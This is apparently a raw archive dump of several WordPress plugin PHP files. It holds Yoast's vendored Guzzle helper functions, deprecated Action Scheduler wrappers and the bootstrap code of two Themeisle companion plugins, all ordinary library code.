/* Register style sheet. */
add_action( 'wp_enqueue_scripts', 'azera_shop_companion_register_plugin_styles' );
crosstraining/wp-content/plugins/wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/functions.php 0000644 00000024120 15115331077 0033267 0 ustar 00 home/xbodynamge <?php
namespace YoastSEO_Vendor\GuzzleHttp;
use YoastSEO_Vendor\GuzzleHttp\Handler\CurlHandler;
use YoastSEO_Vendor\GuzzleHttp\Handler\CurlMultiHandler;
use YoastSEO_Vendor\GuzzleHttp\Handler\Proxy;
use YoastSEO_Vendor\GuzzleHttp\Handler\StreamHandler;
/**
* Expands a URI template
*
* @param string $template URI template
* @param array $variables Template variables
*
* @return string
*/
function uri_template($template, array $variables)
{
if (\extension_loaded('uri_template')) {
// @codeCoverageIgnoreStart
return \YoastSEO_Vendor\uri_template($template, $variables);
// @codeCoverageIgnoreEnd
}
static $uriTemplate;
if (!$uriTemplate) {
$uriTemplate = new \YoastSEO_Vendor\GuzzleHttp\UriTemplate();
}
return $uriTemplate->expand($template, $variables);
}
/**
* Debug function used to describe the provided value type and class.
*
* @param mixed $input
*
* @return string Returns a string containing the type of the variable and
* if a class is provided, the class name.
*/
function describe_type($input)
{
switch (\gettype($input)) {
case 'object':
return 'object(' . \get_class($input) . ')';
case 'array':
return 'array(' . \count($input) . ')';
default:
\ob_start();
\var_dump($input);
// normalize float vs double
return \str_replace('double(', 'float(', \rtrim(\ob_get_clean()));
}
}
/**
* Parses an array of header lines into an associative array of headers.
*
* @param iterable $lines Header lines array of strings in the following
* format: "Name: Value"
* @return array
*/
function headers_from_lines($lines)
{
$headers = [];
foreach ($lines as $line) {
$parts = \explode(':', $line, 2);
$headers[\trim($parts[0])][] = isset($parts[1]) ? \trim($parts[1]) : null;
}
return $headers;
}
/**
* Returns a debug stream based on the provided variable.
*
* @param mixed $value Optional value
*
* @return resource
*/
function debug_resource($value = null)
{
if (\is_resource($value)) {
return $value;
} elseif (\defined('STDOUT')) {
return \STDOUT;
}
return \fopen('php://output', 'w');
}
/**
* Chooses and creates a default handler to use based on the environment.
*
* The returned handler is not wrapped by any default middlewares.
*
* @return callable Returns the best handler for the given system.
* @throws \RuntimeException if no viable Handler is available.
*/
function choose_handler()
{
$handler = null;
if (\function_exists('curl_multi_exec') && \function_exists('curl_exec')) {
$handler = \YoastSEO_Vendor\GuzzleHttp\Handler\Proxy::wrapSync(new \YoastSEO_Vendor\GuzzleHttp\Handler\CurlMultiHandler(), new \YoastSEO_Vendor\GuzzleHttp\Handler\CurlHandler());
} elseif (\function_exists('curl_exec')) {
$handler = new \YoastSEO_Vendor\GuzzleHttp\Handler\CurlHandler();
} elseif (\function_exists('curl_multi_exec')) {
$handler = new \YoastSEO_Vendor\GuzzleHttp\Handler\CurlMultiHandler();
}
if (\ini_get('allow_url_fopen')) {
$handler = $handler ? \YoastSEO_Vendor\GuzzleHttp\Handler\Proxy::wrapStreaming($handler, new \YoastSEO_Vendor\GuzzleHttp\Handler\StreamHandler()) : new \YoastSEO_Vendor\GuzzleHttp\Handler\StreamHandler();
} elseif (!$handler) {
throw new \RuntimeException('GuzzleHttp requires cURL, the ' . 'allow_url_fopen ini setting, or a custom HTTP handler.');
}
return $handler;
}
/**
* Get the default User-Agent string to use with Guzzle
*
* @return string
*/
function default_user_agent()
{
static $defaultAgent = '';
if (!$defaultAgent) {
$defaultAgent = 'GuzzleHttp/' . \YoastSEO_Vendor\GuzzleHttp\Client::VERSION;
if (\extension_loaded('curl') && \function_exists('curl_version')) {
$defaultAgent .= ' curl/' . \curl_version()['version'];
}
$defaultAgent .= ' PHP/' . \PHP_VERSION;
}
return $defaultAgent;
}
/**
* Returns the default cacert bundle for the current system.
*
* First, the openssl.cafile and curl.cainfo php.ini settings are checked.
* If those settings are not configured, then the common locations for
* bundles found on Red Hat, CentOS, Fedora, Ubuntu, Debian, FreeBSD, OS X
* and Windows are checked. If any of these file locations are found on
* disk, they will be utilized.
*
* Note: the result of this function is cached for subsequent calls.
*
* @return string
* @throws \RuntimeException if no bundle can be found.
*/
function default_ca_bundle()
{
static $cached = null;
static $cafiles = [
// Red Hat, CentOS, Fedora (provided by the ca-certificates package)
'/etc/pki/tls/certs/ca-bundle.crt',
// Ubuntu, Debian (provided by the ca-certificates package)
'/etc/ssl/certs/ca-certificates.crt',
// FreeBSD (provided by the ca_root_nss package)
'/usr/local/share/certs/ca-root-nss.crt',
// SLES 12 (provided by the ca-certificates package)
'/var/lib/ca-certificates/ca-bundle.pem',
// OS X provided by homebrew (using the default path)
'/usr/local/etc/openssl/cert.pem',
// Google app engine
'/etc/ca-certificates.crt',
// Windows?
'C:\\windows\\system32\\curl-ca-bundle.crt',
'C:\\windows\\curl-ca-bundle.crt',
];
if ($cached) {
return $cached;
}
if ($ca = \ini_get('openssl.cafile')) {
return $cached = $ca;
}
if ($ca = \ini_get('curl.cainfo')) {
return $cached = $ca;
}
foreach ($cafiles as $filename) {
if (\file_exists($filename)) {
return $cached = $filename;
}
}
throw new \RuntimeException(<<<EOT
No system CA bundle could be found in any of the the common system locations.
PHP versions earlier than 5.6 are not properly configured to use the system's
CA bundle by default. In order to verify peer certificates, you will need to
supply the path on disk to a certificate bundle to the 'verify' request
option: http://docs.guzzlephp.org/en/latest/clients.html#verify. If you do not
need a specific certificate bundle, then Mozilla provides a commonly used CA
bundle which can be downloaded here (provided by the maintainer of cURL):
https://raw.githubusercontent.com/bagder/ca-bundle/master/ca-bundle.crt. Once
you have a CA bundle available on disk, you can set the 'openssl.cafile' PHP
ini setting to point to the path to the file, allowing you to omit the 'verify'
request option. See http://curl.haxx.se/docs/sslcerts.html for more
information.
EOT
);
}
/**
* Creates an associative array of lowercase header names to the actual
* header casing.
*
* @param array $headers
*
* @return array
*/
function normalize_header_keys(array $headers)
{
$result = [];
foreach (\array_keys($headers) as $key) {
$result[\strtolower($key)] = $key;
}
return $result;
}
/**
* Returns true if the provided host matches any of the no proxy areas.
*
* This method will strip a port from the host if it is present. Each pattern
* can be matched with an exact match (e.g., "foo.com" == "foo.com") or a
* partial match: (e.g., "foo.com" == "baz.foo.com" and ".foo.com" ==
* "baz.foo.com", but ".foo.com" != "foo.com").
*
* Areas are matched in the following cases:
* 1. "*" (without quotes) always matches any hosts.
* 2. An exact match.
* 3. The area starts with "." and the area is the last part of the host. e.g.
* '.mit.edu' will match any host that ends with '.mit.edu'.
*
* @param string $host Host to check against the patterns.
* @param array $noProxyArray An array of host patterns.
*
* @return bool
*/
function is_host_in_noproxy($host, array $noProxyArray)
{
if (\strlen($host) === 0) {
throw new \InvalidArgumentException('Empty host provided');
}
// Strip port if present.
if (\strpos($host, ':')) {
$host = \explode($host, ':', 2)[0];
}
foreach ($noProxyArray as $area) {
// Always match on wildcards.
if ($area === '*') {
return \true;
} elseif (empty($area)) {
// Don't match on empty values.
continue;
} elseif ($area === $host) {
// Exact matches.
return \true;
} else {
// Special match if the area when prefixed with ".". Remove any
// existing leading "." and add a new leading ".".
$area = '.' . \ltrim($area, '.');
if (\substr($host, -\strlen($area)) === $area) {
return \true;
}
}
}
return \false;
}
/**
* Wrapper for json_decode that throws when an error occurs.
*
* @param string $json JSON data to parse
* @param bool $assoc When true, returned objects will be converted
* into associative arrays.
* @param int $depth User specified recursion depth.
* @param int $options Bitmask of JSON decode options.
*
* @return mixed
* @throws Exception\InvalidArgumentException if the JSON cannot be decoded.
* @link http://www.php.net/manual/en/function.json-decode.php
*/
function json_decode($json, $assoc = \false, $depth = 512, $options = 0)
{
$data = \json_decode($json, $assoc, $depth, $options);
if (\JSON_ERROR_NONE !== \json_last_error()) {
throw new \YoastSEO_Vendor\GuzzleHttp\Exception\InvalidArgumentException('json_decode error: ' . \json_last_error_msg());
}
return $data;
}
/**
* Wrapper for JSON encoding that throws when an error occurs.
*
* @param mixed $value The value being encoded
* @param int $options JSON encode option bitmask
* @param int $depth Set the maximum depth. Must be greater than zero.
*
* @return string
* @throws Exception\InvalidArgumentException if the JSON cannot be encoded.
* @link http://www.php.net/manual/en/function.json-encode.php
*/
function json_encode($value, $options = 0, $depth = 512)
{
$json = \json_encode($value, $options, $depth);
if (\JSON_ERROR_NONE !== \json_last_error()) {
throw new \YoastSEO_Vendor\GuzzleHttp\Exception\InvalidArgumentException('json_encode error: ' . \json_last_error_msg());
}
return $json;
}
wp-content/plugins/all-in-one-seo-pack/vendor/woocommerce/action-scheduler/deprecated/functions.php 0000644 00000012231 15115414704 0033431 0 ustar 00 home/xbodynamge/dev <?php
/**
* Deprecated API functions for scheduling actions
*
* Functions with the wc prefix were deprecated to avoid confusion with
* Action Scheduler being included in WooCommerce core, and it providing
* a different set of APIs for working with the action queue.
*
* @package ActionScheduler
*/
/**
* Schedule an action to run one time.
*
* @param int $timestamp When the job will run.
* @param string $hook The hook to trigger.
* @param array $args Arguments to pass when the hook triggers.
* @param string $group The group to assign this job to.
*
* @return string The job ID
*/
function wc_schedule_single_action( $timestamp, $hook, $args = array(), $group = '' ) {
_deprecated_function( __FUNCTION__, '2.1.0', 'as_schedule_single_action()' );
return as_schedule_single_action( $timestamp, $hook, $args, $group );
}
/**
* Schedule a recurring action.
*
* @param int $timestamp When the first instance of the job will run.
* @param int $interval_in_seconds How long to wait between runs.
* @param string $hook The hook to trigger.
* @param array $args Arguments to pass when the hook triggers.
* @param string $group The group to assign this job to.
*
* @deprecated 2.1.0
*
* @return string The job ID
*/
function wc_schedule_recurring_action( $timestamp, $interval_in_seconds, $hook, $args = array(), $group = '' ) {
_deprecated_function( __FUNCTION__, '2.1.0', 'as_schedule_recurring_action()' );
return as_schedule_recurring_action( $timestamp, $interval_in_seconds, $hook, $args, $group );
}
/**
* Schedule an action that recurs on a cron-like schedule.
*
* @param int $timestamp The schedule will start on or after this time.
* @param string $schedule A cron-link schedule string.
* @see http://en.wikipedia.org/wiki/Cron
* * * * * * *
* ┬ ┬ ┬ ┬ ┬ ┬
* | | | | | |
* | | | | | + year [optional]
* | | | | +----- day of week (0 - 7) (Sunday=0 or 7)
* | | | +---------- month (1 - 12)
* | | +--------------- day of month (1 - 31)
* | +-------------------- hour (0 - 23)
* +------------------------- min (0 - 59)
* @param string $hook The hook to trigger.
* @param array $args Arguments to pass when the hook triggers.
* @param string $group The group to assign this job to.
*
* @deprecated 2.1.0
*
* @return string The job ID
*/
function wc_schedule_cron_action( $timestamp, $schedule, $hook, $args = array(), $group = '' ) {
_deprecated_function( __FUNCTION__, '2.1.0', 'as_schedule_cron_action()' );
return as_schedule_cron_action( $timestamp, $schedule, $hook, $args, $group );
}
/**
* Cancel the next occurrence of a job.
*
* @param string $hook The hook that the job will trigger.
* @param array $args Args that would have been passed to the job.
* @param string $group Action's group.
*
* @deprecated 2.1.0
*/
function wc_unschedule_action( $hook, $args = array(), $group = '' ) {
_deprecated_function( __FUNCTION__, '2.1.0', 'as_unschedule_action()' );
as_unschedule_action( $hook, $args, $group );
}
/**
* Get next scheduled action.
*
* @param string $hook Action's hook.
* @param array $args Action's args.
* @param string $group Action's group.
*
* @deprecated 2.1.0
*
* @return int|bool The timestamp for the next occurrence, or false if nothing was found
*/
function wc_next_scheduled_action( $hook, $args = null, $group = '' ) {
_deprecated_function( __FUNCTION__, '2.1.0', 'as_next_scheduled_action()' );
return as_next_scheduled_action( $hook, $args, $group );
}
/**
* Find scheduled actions
*
* @param array $args Possible arguments, with their default values:
* 'hook' => '' - the name of the action that will be triggered
* 'args' => NULL - the args array that will be passed with the action
* 'date' => NULL - the scheduled date of the action. Expects a DateTime object, a unix timestamp, or a string that can parsed with strtotime(). Used in UTC timezone.
* 'date_compare' => '<=' - operator for testing "date". accepted values are '!=', '>', '>=', '<', '<=', '='
* 'modified' => NULL - the date the action was last updated. Expects a DateTime object, a unix timestamp, or a string that can parsed with strtotime(). Used in UTC timezone.
* 'modified_compare' => '<=' - operator for testing "modified". accepted values are '!=', '>', '>=', '<', '<=', '='
* 'group' => '' - the group the action belongs to
* 'status' => '' - ActionScheduler_Store::STATUS_COMPLETE or ActionScheduler_Store::STATUS_PENDING
* 'claimed' => NULL - TRUE to find claimed actions, FALSE to find unclaimed actions, a string to find a specific claim ID
* 'per_page' => 5 - Number of results to return
* 'offset' => 0
* 'orderby' => 'date' - accepted values are 'hook', 'group', 'modified', or 'date'
* 'order' => 'ASC'.
* @param string $return_format OBJECT, ARRAY_A, or ids.
*
* @deprecated 2.1.0
*
* @return array
*/
function wc_get_scheduled_actions( $args = array(), $return_format = OBJECT ) {
_deprecated_function( __FUNCTION__, '2.1.0', 'as_get_scheduled_actions()' );
return as_get_scheduled_actions( $args, $return_format );
}
dev/wp-content/plugins/themeisle-companion/obfx_modules/companion-legacy/inc/shop-isle/functions.php0000644 00000001735 15115642735 0033176 0 ustar 00 home/xbodynamge <?php
/*
Plugin Name: Shop Isle Companion
Plugin URI: https://github.com/Codeinwp/shop-isle-companion
Description: Add a slider to the front page, add new sections to the about page template in Shop Isle.
Version: 1.0.8
Author: Themeisle
Author URI: http://themeisle.com
Text Domain: shop-isle-companion
Domain Path: /languages
License: GPLv2
License URI: https://www.gnu.org/licenses/gpl-2.0.html
*/
/**
* Filter to replace big title section with slider.
*/
add_filter ( 'shop-isle-subheader', 'shop_isle_companion_slider');
/**
* Function used for subheader filter/
* @return string
*/
function shop_isle_companion_slider() {
return plugin_dir_path( __FILE__ ) . 'content-slider.php';
}
/**
* Include customizer controls.
*/
require plugin_dir_path( __FILE__ ) . 'customizer.php';
/**
* Include template loader.
*/
require plugin_dir_path( __FILE__ ) . 'class-template-loader.php';
add_action('shop-isle-about-page-after-content', 'shop_isle_companion_about_addon');
plugins/themeisle-companion/obfx_modules/companion-legacy/inc/llorix-one-companion/functions.php 0000644 00000003305 15115756507 0035342 0 ustar 00 home/xbodynamge/dev/wp-content <?php
/*
Plugin Name: Llorix One Companion
Plugin URI: https://github.com/Codeinwp/llorix-one-companion
Description: Add Our team, Our Services and Testimonials sections to Llorix One Lite theme.
Version: 1.1.4
Author: Themeisle
Author URI: http://themeisle.com
Text Domain: llorix-one-companion
Domain Path: /languages
License: GPLv2
License URI: https://www.gnu.org/licenses/gpl-2.0.html
*/
if ( ! function_exists( 'add_action' ) ) {
die( 'Nothing to do...' );
}
/* Important constants */
define( 'LLORIX_ONE_COMPANION_VERSION', '1.1.4' );
define( 'LLORIX_ONE_COMPANION_URL', plugin_dir_url( __FILE__ ) );
define( 'LLORIX_ONE_COMPANION_PATH', plugin_dir_path( __FILE__ ) );
/**
* Require section translations
*/
require LLORIX_ONE_COMPANION_PATH . 'inc/translations/general.php';
/* Required helper functions */
include_once( dirname( __FILE__ ) . '/inc/settings.php' );
/* Add new sections in Llorix One */
function llorix_one_companion_sections() {
return array(
'sections/llorix_one_lite_logos_section',
'our-services-section',
'sections/llorix_one_lite_our_story_section',
'our-team-section',
'happy-customers-section',
'sections/llorix_one_lite_content_section',
'sections/llorix_one_lite_ribbon_section',
'sections/llorix_one_lite_latest_news_section',
'sections/llorix_one_lite_contact_info_section',
'sections/llorix_one_lite_map_section'
);
}
/**
* Load sections
*/
function llorix_one_companion_load_sections() {
add_filter('llorix_one_companion_sections_filter', 'llorix_one_companion_sections');
}
/* Register style sheet. */
function llorix_one_companion_register_plugin_styles() {
wp_enqueue_style( 'llorix-one-companion-style', LLORIX_ONE_COMPANION_URL.'css/style.css' );
}